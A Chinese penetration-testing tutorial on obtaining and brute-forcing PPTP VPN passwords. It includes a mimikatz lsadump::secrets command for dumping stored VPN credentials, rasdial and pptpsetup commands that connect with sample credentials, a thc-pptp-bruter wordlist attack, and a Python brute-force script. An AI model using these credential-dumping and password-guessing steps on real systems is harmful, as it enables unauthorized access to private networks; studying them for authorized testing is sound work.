渗透技巧——PPTP口令的获取与爆破
0x00 前言
PPTP(即点对点隧道协议)可以使远程用户通过拨入ISP访问企业内网。
在渗透测试中,如果获得了用户的PPTP口令,就能远程拨入内网,做进一步渗透。
本文将要介绍命令行下导出PPTP配置信息和口令的方法,开源PPTP口令爆破的脚本
0x01 简介
本文将要介绍以下内容:
- Windows系统命令行下PPTP配置信息和口令的获取
- Windows系统命令行开启和关闭VPN连接
- Windows系统连接PPTP的方法和细节
- Kali系统连接PPTP的方法和细节
- PPTP口令爆破的脚本细节
0x02 Windows系统命令行下PPTP配置信息和口令的获取
1、获取PPTP配置信息
Windows系统拨号和宽带连接的配置信息存储在固定位置,路径如下:
%APPDATA%\Microsoft\Network\Connections\Pbk\rasphone.pbk
查看该文件即可获得PPTP连接的配置信息,包括服务器IP,不包含连接用户名和口令
VPN连接的名称为VPN Connection
,如下图
PhoneNumber表示连接的服务器IP,如下图
2、获得内网IP
ipconfig
获得内网IP,如下图
3、获得PPTP口令
使用工具mimiaktz,命令如下:
mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
获得连接用户名和口令,如下图
4、命令行下连接VPN
rasdial "VPN Connection" zhaodg oZ7iFk25
如下图
5、命令行关闭VPN连接
rasphone -h "VPN Connection"
0x03 Windows系统PPTP连接的方法和细节
1.
2.
3.
4.选择创建新连接
5.填入服务器IP,选中稍后连接
6.填入用户名口令
7.点击连接后,选择跳过
接下来修改VPN属性,Security
->Type of VPN
,选择Point to Point Tunneling Protocol(PPTP)
注:
创建成功后,指定Point to Point Tunneling Protocol(PPTP)
可缩短连接等待的时间
8.连接
0x04 Kali系统PPTP连接的方法和细节
方法1:通过界面
1.安装
apt-get install network-manager-pptp network-manager-pptp-gnome
2.
Settings
->Network
->VPN
3.
Identity
->Advanced...
去掉PAP,CHAP,EAP
选择Use Point-to-Point encryption(MPPE)
注:
如果无法连接,修改文件/etc/NetworkManager/NetworkManager.conf
managed=false
修改成managed=true
重启系统
方法2:通过pptpsetup
1.连接
pptpsetup --create vpn --server 5x.xxx.xxx.xx2 --username zhaodg --password oZ7iFk25 --encrypt --start
远程IP为192.168.0.1,如下图
2.修改路由表
将默认路由表修改为远程IP
route del default
route add default gw 192.168.0.1
0x05 PPTP口令爆破
PPTP服务器默认开放1723端口
1、PPTP brute forcer
源代码:
https://github.com/BlackArch/thc-pptp-bruter
kali默认支持
通过字典爆破的命令如下:
cat wordlist | thc-pptp-bruter -u zhaodg <IP>
如下图
注:
PPTP搭建于centos
2、编写python脚本实现
有些设备的PPTP无法使用PPTP brute forcer进行爆破
于是尝试使用python调用pptpsetup实现
通过os.popen执行命令,测试代码如下:
import os
def test_vpn(ip,name,password):
command = 'pptpsetup --create testvpn --server '+ip+' --username '+name+' --password '+password+' --encrypt --start'
print command
vpn_status = os.popen(command).read()
print vpn_status
if __name__ == '__main__':
test_vpn('5x.xxx.xxx.xx2','zhaodg','oZ7iFk25')
测试过程中出现bug:
如果登录成功,进程pptp不会退出,导致脚本阻塞,无法获得回显
只有结束进程pptp后,才能获得回显
所以这里需要使用子进程的方式实现:
子进程执行pptpsetup命令,父进程不等待
随之产生新的问题:
如何获得子进程的结果,判断是否登录成功
这里选择一个简单直接的方法:
等待10秒,然后执行ifconfig,如果登录成功,会产生新的网卡设备ppp0
,否则,当前用户名口令错误
登录成功后,选择清理进程,执行命令:
pkill pptp
清除连接信息:
pptpsetup --delete testvpn
完整代码可参考:
https://github.com/3gstudent/Homework-of-Python/blob/master/pptp_password_hack.py
代码会读取文件wordlist,获得口令字典,对指定IP尝试连接,连接成功后记录口令,清除进程和连接
测试如下图
0x06 小结
本文介绍了命令行下导出PPTP配置信息和口令的方法,通过命令行能够实现开启和关闭VPN连接。
实例演示了Windows和Kali系统连接PPTP的方法,最后开源了调用pptpsetup实现PPTP口令爆破的脚本,分析脚本实现细节。